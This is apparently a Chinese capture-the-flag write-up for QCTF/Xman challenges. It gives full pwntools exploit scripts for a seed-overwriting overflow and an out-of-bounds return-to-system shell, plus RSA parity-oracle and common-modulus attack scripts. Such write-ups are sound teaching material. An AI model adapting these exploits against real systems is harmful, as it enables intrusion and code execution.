[+] iter 22 using O for QCTF{5Ym4aOEww2NcZcvUPOAAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPO{AAAAAAAAAAAAAA
[+] iter 23 using W for QCTF{5Ym4aOEww2NcZcvUPOWAAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOW{AAAAAAAAAAAAA
[+] iter 24 using K for QCTF{5Ym4aOEww2NcZcvUPOWKAAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWK{AAAAAAAAAAAA
[+] iter 25 using Y for QCTF{5Ym4aOEww2NcZcvUPOWKYAAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKY{AAAAAAAAAAA
[+] iter 26 using M for QCTF{5Ym4aOEww2NcZcvUPOWKYMAAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYM{AAAAAAAAAA
[+] iter 27 using n for QCTF{5Ym4aOEww2NcZcvUPOWKYMnAAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMn{AAAAAAAAA
[+] iter 28 using P for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPAAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMnP{AAAAAAAA
[+] iter 29 using a for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaAAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMnPa{AAAAAAA
[+] iter 30 using q for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqAAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaq{AAAAAA
[+] iter 31 using P for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPAAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqP{AAAAA
[+] iter 32 using y for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPyAAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPy{AAAA
[+] iter 33 using w for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPywAAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPyw{AAA
[+] iter 34 using R for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPywRAAA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPywR{AA
[+] iter 35 using 2 for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPywR2AA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPywR2{A
[+] iter 36 using m for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPywR2mA
[~] Trying QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPywR2m{
[+] iter 37 using } for QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPywR2m}
[+] Found pattern QCTF{5Ym4aOEww2NcZcvUPOWKYMnPaqPywR2m}
PWN
Xman-dice_game
放进 ida 看 main 函数:
buf 存在溢出,可以覆盖到 seed,使之为 0。想法就是通过爆破得到随机数的顺序。脚本:
from pwn import *
import random
import time
def test(ans):
p = process('./dice_game')
# p = remote("47.96.239.28", 9999)
p.readuntil("name:")
payload = p64(0xabcdabcdabcdabcd) * 8 + p64(0)
p.sendline(payload)
i = 0
ans_len = len(ans)
log.success(ans)
if True:
while i < ans_len:
p.readuntil("nt(1~6): ")
n = ans[i]
i += 1
p.sendline(n)
random.seed(time.time())
n = str(int(random.randint(1, 6)))
p.readuntil("nt(1~6): ")
p.sendline(n)
print(n)
sub = p.readuntil('.')
log.info(sub)
return sub, n
ans = ""
while(1):
if len(ans) == 50:
print(ans)
break
res, n = test(ans)
if "win" in res:
ans += n
通过得到的顺序作为 payload,脚本:
from pwn import *
p = process('./dice_game')
# p = remote("47.96.239.28", 9999)
p.readuntil("name:")
payload = p64(0x1122334455667788) * 8 + p64(0)
p.sendline(payload)
ans = "25426251423232651155634433322261116425254446323361"
i = 0
while i < 50:
p.readuntil("nt(1~6): ")
n = ans[i]
i += 1
p.sendline(n)
p.interactive()
Xan-stack2
感觉这应该算是一道比较好的栈溢出的题。checksec
发现 PIE 没开,Canary 和 NX 都开了。
拖进 ida 后 f5:
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
unsigned int v5; // [esp+18h] [ebp-90h]
unsigned int v6; // [esp+1Ch] [ebp-8Ch]
int v7; // [esp+20h] [ebp-88h]
unsigned int j; // [esp+24h] [ebp-84h]
int v9; // [esp+28h] [ebp-80h]
unsigned int i; // [esp+2Ch] [ebp-7Ch]
unsigned int k; // [esp+30h] [ebp-78h]
unsigned int l; // [esp+34h] [ebp-74h]
char v13[100]; // [esp+38h] [ebp-70h]
unsigned int v14; // [esp+9Ch] [ebp-Ch]
v14 = __readgsdword(0x14u);
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
v9 = 0;
puts("***********************************************************");
puts("* An easy calc *");
puts("*Give me your numbers and I will return to you an average *");
puts("*(0 <= x < 256) *");
puts("***********************************************************");
puts("How many numbers you have:");
__isoc99_scanf("%d", &v5);
puts("Give me your numbers");
for ( i = 0; i < v5 && (signed int)i <= 99; ++i )
{
__isoc99_scanf("%d", &v7);
v13[i] = v7;
}
for ( j = v5; ; printf("average is %.2lf\n", (double)((long double)v9 / (double)j)) )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
__isoc99_scanf("%d", &v6);
if ( v6 != 2 )
break;
puts("Give me your number");
__isoc99_scanf("%d", &v7);
if ( j <= 0x63 )
{
v3 = j++;
v13[v3] = v7;
}
}
if ( v6 > 2 )
break;
if ( v6 != 1 )
return 0;
puts("id\t\tnumber");
for ( k = 0; k < j; ++k )
printf("%d\t\t%d\n", k, v13[k]);
}
if ( v6 != 3 )
break;
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7;
}
if ( v6 != 4 )
break;
v9 = 0;
for ( l = 0; l < j; ++l )
v9 += v13[l];
}
return 0;
}
还能看到有一个hackhere
函数,直接调用了system("/bin/bash")
。
puts("which number to change:");
__isoc99_scanf("%d", &v5);
puts("new number:");
__isoc99_scanf("%d", &v7);
v13[v5] = v7; // index out of bound
这里发现 v5 和 v7 没有做任何检查,能达到任意地址写。
所以这题的思路就是将 main
函数 return 地址覆盖为 hackhere
的地址。
基本就是 ret 到 hackhere 然后直接就成功了:
#!/usr/bin/env python
from pwn import *
import ctypes
p = process('./stack2')
context.log_level = 'debug'
def change(index, content):
p.sendlineafter('5. exit\n', '3')
p.sendlineafter('which number to change:\n', str(index))
p.sendlineafter('new number:\n', str(content))
p.sendlineafter('How many numbers you have:\n', '1')
p.sendlineafter('Give me your numbers\n', '1')
hack_addr = 0x0804859b
offset = 132
# gdb.attach(p, 'b *0x0804859b')
for i in range(4):
byte = (hack_addr >> (i * 8)) & 0xff
byte = str(ctypes.c_int8(byte))
start = byte.find('(') + 1
end = byte.find(')')
byte = int(byte[start:end])
change(offset + i, byte)
p.sendlineafter('5. exit\n', '5')
p.interactive()
但发现远程没有 bash,所以想到直接用字符串中的 sh,即 system(&"/bin/bash"[7])
,只需要找到字符串在栈上的位置:
#!/usr/bin/env python
from pwn import *
import ctypes
p = process('./stack2')
context.log_level = 'debug'
def change(index, content):
p.sendlineafter('5. exit\n', '3')
p.sendlineafter('which number to change:\n', str(index))
p.sendlineafter('new number:\n', str(content))
p.sendlineafter('How many numbers you have:\n', '1')
p.sendlineafter('Give me your numbers\n', '1')
hack_addr = 0x0804859b
sys_addr = 0x08048450
offset = 132
# gdb.attach(p, 'b *0x0804859b')
# overflow ret
for i in range(4):
byte = (sys_addr >> (i * 8)) & 0xff
byte = str(ctypes.c_int8(byte))
start = byte.find('(') + 1
end = byte.find(')')
byte = int(byte[start:end])
change(offset + i, byte)
str_addr = 0x08048987
offset2 = offset + 8
# point to string 'sh'
for i in range(4):
byte = (str_addr >> (i * 8)) & 0xff
byte = str(ctypes.c_int8(byte))
start = byte.find('(') + 1
end = byte.find(')')
byte = int(byte[start:end])
change(offset2 + i, byte)
p.sendlineafter('5. exit\n', '5')
p.interactive()
Crypto
babyRSA
题目信息如下:
e = 0x10001
n = 0x0b765daa79117afe1a77da7ff8122872bbcbddb322bb078fe0786dc40c9033fadd639adc48c3f2627fb7cb59bb0658707fe516967464439bdec2d6479fa3745f57c0a5ca255812f0884978b2a8aaeb750e0228cbe28a1e5a63bf0309b32a577eecea66f7610a9a4e720649129e9dc2115db9d4f34dc17f8b0806213c035e22f2c5054ae584b440def00afbccd458d020cae5fd1138be6507bc0b1a10da7e75def484c5fc1fcb13d11be691670cf38b487de9c4bde6c2c689be5adab08b486599b619a0790c0b2d70c9c461346966bcbae53c5007d0146fc520fa6e3106fbfc89905220778870a7119831c17f98628563ca020652d18d72203529a784ca73716db
c = 0x4f377296a19b3a25078d614e1c92ff632d3e3ded772c4445b75e468a9405de05d15c77532964120ae11f8655b68a630607df0568a7439bc694486ae50b5c0c8507e5eecdea4654eeff3e75fb8396e505a36b0af40bd5011990663a7655b91c9e6ed2d770525e4698dec9455db17db38fa4b99b53438b9e09000187949327980ca903d0eef114afc42b771657ea5458a4cb399212e943d139b7ceb6d5721f546b75cd53d65e025f4df7eb8637152ecbb6725962c7f66b714556d754f41555c691a34a798515f1e2a69c129047cb29a9eef466c206a7f4dbc2cea1a46a39ad3349a7db56c1c997dc181b1afcb76fa1bbbf118a4ab5c515e274ab2250dba1872be0
最低有效位攻击了解一下。
对密文乘 2^e(mod n)
操作,再解密的时候,如果为偶数,说明明文在 (0, n/2)
之间,否则在 (n/2, n)
之间。这样,只需要 log2n 次就可以知道明文:
#!/usr/bin/env python
from pwn import *
e = 0x10001
n = 0x0b765daa79117afe1a77da7ff8122872bbcbddb322bb078fe0786dc40c9033fadd639adc48c3f2627fb7cb59bb0658707fe516967464439bdec2d6479fa3745f57c0a5ca255812f0884978b2a8aaeb750e0228cbe28a1e5a63bf0309b32a577eecea66f7610a9a4e720649129e9dc2115db9d4f34dc17f8b0806213c035e22f2c5054ae584b440def00afbccd458d020cae5fd1138be6507bc0b1a10da7e75def484c5fc1fcb13d11be691670cf38b487de9c4bde6c2c689be5adab08b486599b619a0790c0b2d70c9c461346966bcbae53c5007d0146fc520fa6e3106fbfc89905220778870a7119831c17f98628563ca020652d18d72203529a784ca73716db
c = 0x4f377296a19b3a25078d614e1c92ff632d3e3ded772c4445b75e468a9405de05d15c77532964120ae11f8655b68a630607df0568a7439bc694486ae50b5c0c8507e5eecdea4654eeff3e75fb8396e505a36b0af40bd5011990663a7655b91c9e6ed2d770525e4698dec9455db17db38fa4b99b53438b9e09000187949327980ca903d0eef114afc42b771657ea5458a4cb399212e943d139b7ceb6d5721f546b75cd53d65e025f4df7eb8637152ecbb6725962c7f66b714556d754f41555c691a34a798515f1e2a69c129047cb29a9eef466c206a7f4dbc2cea1a46a39ad3349a7db56c1c997dc181b1afcb76fa1bbbf118a4ab5c515e274ab2250dba1872be0
upper = n
lower = 0
k = 1
while True:
r = remote('111.198.29.45', 33136)
r.recvuntil('now\n')
pat = (pow(pow(2, k, n), e, n) * c) % n
new_c = hex(pat)[2:].strip('L')
r.sendline(new_c)
data = r.recvline()[:-1]
r.close()
gap = upper - lower
if data == 'even':
info('Round {}: even'.format(str(k)))
upper = (upper + lower) / 2
if data == 'odd':
info('Round {}: odd'.format(str(k)))
lower = (upper + lower) / 2
if data == 'error':
break
if gap < 2:
break
info(gap)
k += 1
flag = '{:x}'.format(upper).decode('hex')[:-1] + '}'
print 'flag:', flag
Xman-RSA
拿到四个文件后,其中有一个很像 python 的脚本,通过对关键字等的判断,自己写脚本还原:
l1 = {
'a': 'd',
'b': 'm',
'd': 'e',
'e': 'n',
'f': 'w',
'g': 'f',
'h': 'o',
'i': 'x',
'j': 'g',
'k': 'p',
'l': 'y',
'm': 'h',
'p': 'i',
'q': 'r',
'r': 'a',
't': 's',
'u': 'b',
'v': 'k',
'w': 't',
'x': 'c',
'y': 'l',
'z': 'u'
}
f = open('encryption.encrypted', 'r')
ans = f.read()
# print ans
res = ""
for ch in ans:
flag = 0
for key, value in l1.items():
if ch == key:
res += value
flag = 1
break
else:
continue
if flag == 1:
continue
else:
res += ch
print res
raw_input()
f = open('1.py', 'wb')
f.write(res)
f.close()
还原出原来的加密脚本:
from gmpy2 import is_prime
from os import urandom
import base64
def bytes_to_num(b):
return int(b.encode('hex'), 16)
def num_to_bytes(n):
b = hex(n)[2:-1]
b = '0' + b if len(b)%2 == 1 else b
return b.decode('hex')
def get_a_prime(l):
random_seed = urandom(l)
num = bytes_to_num(random_seed)
while True:
if is_prime(num):
break
num+=1
return num
def encrypt(s, e, n):
p = bytes_to_num(s)
p = pow(p, e, n)
return num_to_bytes(p).encode('hex')
def separate(n):
p = n % 4
t = (p*p) % 4
return t == 1
f = open('flag.txt', 'r')
flag = f.read()
msg1 = ""
msg2 = ""
for i in range(len(flag)):
if separate(i): # 奇数
msg2 += flag[i]
else: # 偶数
msg1 += flag[i]
p1 = get_a_prime(128)
p2 = get_a_prime(128)
p3 = get_a_prime(128)
n1 = p1*p2
n2 = p1*p3
e = 0x1001
c1 = encrypt(msg1, e, n1)
c2 = encrypt(msg2, e, n2)
print(c1)
print(c2)
e1 = 0x1001
e2 = 0x101
p4 = get_a_prime(128)
p5 = get_a_prime(128)
n3 = p4*p5
c1 = num_to_bytes(pow(n1, e1, n3)).encode('hex')
c2 = num_to_bytes(pow(n1, e2, n3)).encode('hex')
print(c1)
print(c2)
print(base64.b64encode(num_to_bytes(n2)))
print(base64.b64encode(num_to_bytes(n3)))
代码看完后,思路是先用共模攻击解出 n1
,之后利用公约数得到 p1
、p2
、p3
,再求出 d1
、d2
,最后解出 msg1
、msg2
。给出的文件中,ciphertext
为第二次输出的 c1
和 c2
,n1.encrypted
为第二次输出的 c1
和 c2
,n2&n3
即最后输出的被加密后的n2
和n3
。解密脚本如下:
#!/usr/bin/env python
import base64
import gmpy2
f = open('n2&n3', 'rb')
n2 = f.readline()
n3 = f.readline()
f.close()
n2 = base64.b64decode(n2).encode('hex')
n3 = base64.b64decode(n3).encode('hex')
n2 = int(n2, 16)
n3 = int(n3, 16)
# print 'n2:', n2
# print 'n3:', n3
# first step: solve n1
e1 = 0x1001
e2 = 0x101
f = open('n1.encrypted', 'rb')
n1_c1 = f.readline()
n1_c2 = f.readline()
f.close()
n1_c1 = int(n1_c1, 16)
n1_c2 = int(n1_c2, 16)
# print 'n1_c1:', n1_c1
# print 'n1_c2:', n1_c2
gcd, s, t = gmpy2.gcdext(e1, e2)
if s < 0:
s = abs(s)
n1_c1 = gmpy2.invert(n1_c1, n3)
if t < 0:
t = abs(t)
n1_c2 = gmpy2.invert(n1_c2, n3)
n1 = gmpy2.powmod(n1_c1, s, n3) * gmpy2.powmod(n1_c2, t, n3) % n3
print 'n1:', n1
# second step: solve flag
f = open('ciphertext', 'rb')
c1 = f.readline()
c2 = f.readline()
f.close()
c1 = int(c1, 16)
c2 = int(c2, 16)
print 'c1:', c1
print 'c2:', c2
e = 0x1001
p1 = gmpy2.gcd(n1, n2)
p2 = n1 / p1
p3 = n2 / p1
d1 = gmpy2.invert(e, (p1 - 1) * (p2 - 1))
d2 = gmpy2.invert(e, (p1 - 1) * (p3 - 1))
m1 = pow(c1, d1, n1)
m2 = pow(c2, d2, n2)
msg1 = hex(m1)[2:].decode('hex')
msg2 = hex(m2)[2:].decode('hex')
flag = ''
for i in range(len(msg1 + msg2)):
if i % 2 == 0:
flag += msg1[i / 2]
else:
flag += msg2[i / 2]
print 'flag:', flag
参考网站
https://ihomura.cn/2018/07/15/WriteUp-QCTF-Xman-babymips/
https://www.xctf.org.cn/library/details/8723e039db0164e2f7345a12d2edd2a5e800adf7/
https://ihomura.cn/2018/07/15/WriteUp-QCTF-Xman-stack2/
https://www.xmsec.cc/stackoverflow-ropbasic/
https://blog.csdn.net/xuchen16/article/details/81080580
https://blog.csdn.net/xuchen16/article/details/81064079
http://www.freebuf.com/column/177864.html
https://introspelliam.github.io/2018/03/27/crypto/RSA-Least-Significant-Bit-Oracle-Attack/
http://www.cnblogs.com/semishigure/p/9318258.html
https://blog.csdn.net/qq_33438733/article/details/81137057